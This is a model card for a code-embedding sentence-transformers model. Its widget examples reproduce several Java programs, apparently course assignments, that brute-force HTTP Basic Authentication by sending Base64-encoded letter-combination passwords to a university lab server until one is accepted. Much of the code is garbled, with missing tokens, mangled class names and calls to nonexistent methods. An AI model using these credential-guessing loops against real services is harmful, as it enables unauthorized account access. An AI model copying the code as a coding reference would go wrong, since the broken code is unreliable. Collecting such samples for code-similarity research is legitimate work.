File size: 146,467 Bytes
3337fa0 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\npackage java.httputils;\n\nimport java.util.ArrayList;\nimport\
\ java.util.Collection;\nimport java.util.Iterator;\nimport java.util.Observable;\n\
import java.util.Observer;\n\n\npublic class BruteForceThreadPool extends ThreadGroup\
\ implements Observer\n{\n protected String URL = \"http://localhost:8080/secret/index.html\"\
;\n protected int poolSize = 6;\n\n protected Collection threadList = new\
\ ArrayList();\n protected String fileName = \"BruteForceReport.txt\";\n \
\ protected boolean finished = false;\n protected String userName = \"\";\n\
\ \n public BruteForceThreadPool(String name)\n {\n super(name);\n\
\ }\n\n \n public BruteForceThreadPool(ThreadGroup parent, String name)\n\
\ {\n super(parent, name);\n }\n\n \n public synchronized void\
\ update(Observable o, Object arg)\n {\n \n System.out.println(\"\
Update method called the observer.\");\n RunnableBruteForce rbf = (RunnableBruteForce)\
\ o;\n rbf.createReport();\n\n \n \n for (Iterator\
\ iter = threadList.iterator(); iter.hasNext();)\n {\n RunnableBruteForce\
\ target = (RunnableBruteForce) iter.next();\n target.setStop(true);\n\
\ }\n finished = true;\n }\n\n\n \n protected void start(int\
\ threads)\n {\n \n \n int load = BruteForce.letters.length\
\ / threads;\n int remainder = BruteForce.letters.length % threads;\n\n\
\ \n for (int i = 0, end = ( + load);\n end < BruteForce.letters.length;\n\
\ i = end, end += load)\n {\n RunnableBruteForce\
\ runnable = new RunnableBruteForce();\n runnable.setURL(getURL());\n\
\ runnable.setRangeStart();\n runnable.setUserName(userName);\n\
\ \n runnable.setRangeEnd(\n end + load >\
\ BruteForce.letters.length ?\n BruteForce.letters.length :\n \
\ end);\n\n runnable.addObserver(this);\n \
\ runnable.setFileName(getFileName());\n \n threadList.add(runnable);\n\
\ }\n\n \n for (Iterator iter = threadList.iterator(); iter.hasNext();)\n\
\ {\n RunnableBruteForce target = (RunnableBruteForce) iter.next();\n\
\ new Thread(target).start();\n }\n\n }\n\n public static\
\ void main(String[] args)\n {\n BruteForceThreadPool pool = new BruteForceThreadPool(\"\
BruteForceThreadGroup\");\n\n if (args.length < 4)\n {\n \
\ pool.printUsage();\n return;\n }\n pool.setURL(args[0]);\n\
\ pool.userName = args[1];\n pool.setFileName(args[2]);\n\n \
\ pool.get(Integer.parseInt(args[3]));\n while (true)\n {\n \
\ try\n {\n Thread.currentThread().sleep(100);\n\
\ if (pool.finished)\n {\n break;\n\
\ }\n }\n catch (InterruptedException e)\n\
\ {\n e.printStackTrace();\n }\n }\n\
\n System.exit(0);\n }\n\n\n public String printUsage()\n {\n\
\ StringBuffer s = new StringBuffer();\n\n s.append(\"** BruteForceThreadPool\
\ proper usage **\\n\\n\");\n s.append(\n \"java ..httputils.BruteForceThreadPool\
\ <URL> <UserName> <OutputFile> < Of Threads = 6>\\n\\n\");\n\n return\
\ s.toString();\n }\n\n \n public Collection getThreadList()\n {\n\
\ return threadList;\n }\n\n \n public void setThreadList(Collection\
\ collection)\n {\n threadList = collection;\n }\n\n\n \n public\
\ String getFileName()\n {\n return fileName;\n }\n\n \n public\
\ void setFileName(String string)\n {\n fileName = string;\n }\n\n\
\ \n public String getURL()\n {\n return URL;\n }\n\n \n\
\ public void setURL(String string)\n {\n URL = string;\n }\n\n\
\ \n public int getPoolSize()\n {\n return poolSize;\n }\n\n\
\ \n public void setPoolSize(int i)\n {\n poolSize = i;\n }\n\
\n}\n"
sentences:
- "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport\
\ java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[]\
\ ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\
m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\
Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n\
\ static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n\
\ String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM\
\ passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n\
\ }\n\n public static void main (String args[]) {\n new BruteForce();\n\
\ }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n\
\ \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF\
\ = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n\
\ \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n\
\ \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n\
\ }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection\
\ httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\
\ \n loop: for (int i=0;i<52;i++) {\n password\
\ = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n \
\ try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\
\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\
\t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength()\
\ != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK\
\ ) {\n\t\t \n\t System.out.println (\"Your User\
\ Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\
\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\
\t\t\t \n\t\t\t System.exit(0);\n \n\t \
\ }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\
\ \n } catch ( NoRouteToHostException nr)\
\ {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\
\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t\
\ } catch (IOException io) {io.printStackTrace();\n\t\t \n\t \
\ } finally {u.disconnect();\n\t }\n } \n }\n \n \
\ \n private void breakTwoLetterPassword() { \n MyHttpURLConnection \
\ httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\
\n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++)\
\ {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t\
\ \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n \
\ try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\
\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \"\
\ \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \
\ \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()==\
\ HttpURLConnection.HTTP_OK ) {\n\t System.out.println\
\ (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\"\
\ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\
\t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\
\t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n\
\ } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\
\t } catch (BindException e){e.printStackTrace();\n\t } catch\
\ (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch\
\ (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\
\t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF\
\ extends Thread {\n \n \n \n private String passwordLetters[] ;\n \
\ private String password=\" \";\n private static String userName=\"\";\n\
\ private MyHttpURLConnection httpURLConnection;\n private URL url;\n\
\ \n BruteForce bruteForce;\n int count; \n String passBase64;\n \
\ private HttpURLConnection u;\n \n int start,stop;\n \n static boolean\
\ found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n\
\ passwordLetters,String userName,BruteForce\
\ bruteForce) {\n this.start = start;\n this.stop = stop;\n \
\ this.passwordLetters =passwordLetters;\n this.userName=userName;\n \
\ count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\
\t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n\
\ try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\
\ \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n\
\ public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++)\
\ {\n for (int j=0;j<52;j++) {\n for (int\
\ k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\
\ \t password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\
\t\t while (!(bruteForce.threadF)) {\n\t\t\t try { wait(1); }\n\t\t\t \
\ catch (InterruptedException e){}\n\t\t\t } \n\t\t\t \n\t\t\t if (found)\n\
\t\t\t System.exit(0);\n try { \n\t\t\t \
\ u = (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new\
\ url.misc.BASE64Encoder().encode(password.getBytes());\n \
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\
\t \n\n\t\t\t\n u.connect();\n\t\t\t\t\n\
\t\t BruteForce.noOfAttempts++;\n\n\t\t if (u.getContentLength()\
\ != 0) {\n\n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\
\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User\
\ Name : Password is \"+password+ \n\t\t \" \
\ \"+ \" Found by Thread \"+count);\n\t\t\t\t\tSystem.out.println(\" \");\n\
\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\
\t\t\t\t \t \n \t\t System.exit(0);\n\n\t \
\ }\n\t\t }\n\t\t \n\t\t \t\t \n\t \
\ } catch (ProtocolException px) {px.printStackTrace();\n \
\ } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n\
\ } catch (BindException e){e.printStackTrace();\n\t \
\ } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\
\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\
\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=false;\n\
\t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n \
\ }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n\
}\n\n\nclass PasswordCrackThreadM extends Thread {\n \n \n \n private\
\ String passwordLetters[] ;\n private String password=\" \";\n private static\
\ String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n\
\ private URL url;\n String passBase64;\n private URLAuthenticator urlAuthenticator\
\ = new URLAuthenticator(userName);\n BruteForce bruteForce;\n int count;\
\ \n private HttpURLConnection u;\n \n int start,stop;\n \n static\
\ boolean found;\n \n \n \n PasswordCrackThreadM(int start,int stop,int\
\ counter,String[]\n passwordLetters,String\
\ userName,BruteForce bruteForce) {\n this.start = start;\n this.stop\
\ = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n\
\ count =counter;\n this.bruteForce=bruteForce; \n try {\n\t\
\ \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n u = (HttpURLConnection)url.openConnection();\n\t \
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n \
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\
\n\t \n\n\t \n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\
\n }\n \n public synchronized void run() {\n \n outer : for (int\
\ i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n \
\ for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\
\ \t password=\":\"+password;\n\t\t\t\n\t \n\
\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadM)) {\n\t\t\t try { wait(1);\
\ }\n\t\t\t catch (InterruptedException e){}\n\t\t\t }\n\t\t\t \n\t\
\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n \
\ try { u = (HttpURLConnection)url.openConnection();\n\t\t\t \n \
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \"\
\ \" + passBase64);\n\t\t\t \n\n\t\t\t\n \
\ u.connect();\n BruteForce.noOfAttempts++;\n\
\t\t \n\t\t if (u.getContentLength() != 0) {\n\t\
\t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\
\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your\
\ User Name : Password is \"+password+ \n\t\t \
\ \" \"+ \" Found by Thread \"+count);\n\t\t\t\t \t \n\t\t\t\t\t \n\t\
\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\"\
\ of Attempts / Requests \"+ BruteForce.noOfAttempts);\n \t\t \
\ System.exit(0);\n\n\t }\n\t\t \
\ }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException\
\ px) {px.printStackTrace();\n } catch ( NoRouteToHostException\
\ nr){k--; \n\t\t\t nr.printStackTrace();\n } catch\
\ (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException\
\ e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\
\t\t\t \n\t } finally {u.disconnect();\n\t }\n\
\t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\
\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n\
\ System.out.println(\"End\");\n }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator\
\ extends Authenticator {\n private String uName;\n String passwd;\n static\
\ char[] password;\n public URLAuthenticator(String uName) {\n\n this.uName\
\ = uName;\n }\n\n public void setPassword(String passwd) {\n\n\t this.passwd=passwd;\n\
\t password=passwd.toCharArray();\n\n }\n \n public PasswordAuthentication\
\ getPasswordAuthentication() {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n\
\ }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection \
\ {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n \
\ public void disconnect() {\n }\n\n public boolean usingProxy() {\n \
\ return true;\n }\n public void connect() {\n }\n\n}\n\n"
- "\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\
\n\n\npublic class BruteForce \n{\n \n \n\
\ \n private int consonantUpperBound = CrackingConstants.consonantUpperBound;\n\
\ private int consonantLowerBound = CrackingConstants.consonantLowerBound;\n\
\ private int vowelUpperBound = CrackingConstants.vowelUpperBound;\n private\
\ int vowelLowerBound = CrackingConstants.vowelLowerBound;\n \n \n \n\
\ \n private int verbose = CrackingConstants.quietMode;\n private int\
\ scanType = CrackingConstants.casedScan;\n\n private int passwordsTried =\
\ 0;\n \n\t\n\t\n\tpublic static void main(String args[])\n\t{\n\t\t int tStart;\n\
\t\t int tFinish;\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\
\ DateFormat.FULL);\n\t \n\t BruteForce pwForcer = new BruteForce();\n\
\n\t if(args.length > 0)\n\t {\n\t for(int i = 0; i < args.length;\
\ i++)\n\t {\n \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"\
-H\") > -1))\n \t\t {\n \t\t\tSystem.out.println(\"\\n-s -S\\\
tonly tests lower passwords.\");\n \t\t\tSystem.out.println(\"\\n-v\\\
tprints the patterns as tried.\");\n \t\t\tSystem.out.println(\"-V\\\
tprints out the patterns and the passwords as generated. \\n\\tThis option\
\ slows the program considerably.\\n\");\n \t\t\treturn;\n \t\t\
\ }\t\n \t\telse if(args[i].indexOf(\"-v\") > -1) \n \t\t \
\ pwForcer.verbose = CrackingConstants.verboseMode1;\n \t\telse if(args[i].indexOf(\"\
-V\") > -1)\n \t\t pwForcer.verbose = CrackingConstants.verboseMode2;\n\
\ \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\"\
) > -1))\n \t\t pwForcer.scanType = CrackingConstants.simpleScan;\n\t\
\t }\n\t }\n\n \n\t System.out.println(\"\\n\\n********************************\\\
n\");\n\t\tSystem.out.println(\"Starting brute force run at \" + \n\t\t longTimestamp.format(new\
\ Date()));\n\t\tif(args.length > 0)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\
\t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\
\t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t\tif(pwForcer.scanType\
\ == CrackingConstants.simpleScan)\n \t System.out.println(\"Only lower\
\ passwords tried.\");\n \telse\n \t System.out.println(\"Both lower\
\ and upper passwords tried.\");\n\t System.out.println(\"\\n********************************\\\
n\");\n\n\t tStart = System.currentTimeMillis();\n\t pwForcer.run();\n\t\
\ tFinish = System.currentTimeMillis();\n\t \n if (pwForcer.scanType\
\ == CrackingConstants.casedScan)\n {\n\t \n \t \n\t \
\ \n\t \n\t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried\
\ + \" passwords were generated (out of a possible \" + (26 * 26 * 26 * 8) + \"\
)\");\n\t System.out.println (\"That is \" + pwForcer.passwordsTried/8\
\ + \" unique three letter combinations were tried (out of a possible \" + (26\
\ * 26 * 26) + \")\");\n }\n else\n {\n \t System.out.println\
\ (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of\
\ a possible \" + (26 * 26 * 26) + \")\\n\");\n }\n \n\t \n\t\
\ System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"\
Finished brute force run at \" + \n\t\t longTimestamp.format(new Date()));\n\
\t\tSystem.out.println(\"Time taken: \" + ((tFinish - tStart)/1000) + \" seconds\"\
);\n\t System.out.println(\"\\n********************************\");\n\t} \
\ \n\n\t\n public BruteForce()\n {\n } \n\n\t\n private void run()\n\
\ {\n \n \n leftIndex = 0;\n midIndex = 0;\n\
\ rightIndex = 0;\n \n \n\t\t\n \n \tif(verbose\
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying stutters\
\ (AAA, aaa, etc.)\");\n for( i = vowelLowerBound; i <= consonantUpperBound;\
\ i++)\n {\n leftIndex = i;\n midIndex = i;\n \
\ rightIndex = i;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\
\ return;\n }\n \n \n \tif(verbose >\
\ CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-vowel-consonant\
\ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\
\ leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound;\
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\
\ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\
\ midIndex, rightIndex))\n return;\n \n \
\ \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\
Trying consonant-vowel-vowel patterns.\");\n for(leftIndex = consonantLowerBound;\
\ leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\
\ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \
\ if(tryLogin(leftIndex, midIndex, rightIndex))\n \
\ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\
\ \t System.out.println(\"Trying vowel-consonant-vowel patterns.\");\n \
\ for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n\
\ for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\
\ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\
\ rightIndex))\n return;\n \n \n \tif(verbose\
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-consonant-consonant\
\ patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound;\
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\
\ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\
\ midIndex, rightIndex))\n return;\n \n \n \
\ \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\
Trying vowel-vowel-consonant patterns.\");\n for(leftIndex = vowelLowerBound;\
